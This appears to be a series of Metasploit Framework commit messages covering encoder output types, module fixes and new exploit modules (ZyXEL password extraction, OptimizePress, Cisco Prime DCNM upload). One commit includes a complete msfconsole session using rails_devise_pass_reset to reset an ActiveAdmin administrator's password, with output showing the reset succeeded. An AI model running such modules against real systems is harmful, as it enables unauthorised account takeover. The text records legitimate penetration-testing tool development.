added 2 new output types for msfencode: num and dword
set _comment method to js for num and dword
Sorting output
Removed script launcher wrapper and fixed the file_exists so that the module now detects input
Adds the ability to configure object name in URI and XML.  This allows exploiting other platforms that include devise.

For example, activeadmin is exploitable if running a vulnerable devise and rails version with the following settings;
msf > use auxiliary/admin/http/rails_devise_pass_reset
msf auxiliary(rails_devise_pass_reset) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(rails_devise_pass_reset) > set RPORT 3000
RPORT => 3000
msf auxiliary(rails_devise_pass_reset) > set TARGETEMAIL admin@example.com
TARGETEMAIL => admin@example.com
msf auxiliary(rails_devise_pass_reset) > set TARGETURI /admin/password
TARGETURI => /admin/password
msf auxiliary(rails_devise_pass_reset) > set PASSWORD msf_pwnd
PASSWORD => msf_pwnd
msf auxiliary(rails_devise_pass_reset) > set OBJECTNAME admin_user
OBJECTNAME => admin_user
msf auxiliary(rails_devise_pass_reset) > exploit

[*] Clearing existing tokens...
[*] Generating reset token for admin@example.com...
[+] Reset token generated successfully
[*] Resetting password to "msf_pwnd"...
[+] Password reset worked successfully
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) >
Update rails_devise_pass_reset.rb

Fixed erroneous status if FLUSHTOKENS is false.
added ZyXEL GS1510-16 Password Extractor
Add module for ZDI-13-255
Fix references
Do better check method
Make check really better
added exploit module for optimizepress
Updated
added reference as requested at https://github.com/rapid7/metasploit-framework/pull/2709
and now in the correct data structure
Fix @wchen-r7's feedback
sorted out the sorts without .sort
Add ATTEMPTS option
Use attempts
Land #2710 - Cisco Prime Data Center Network Manager Arbitrary File Upload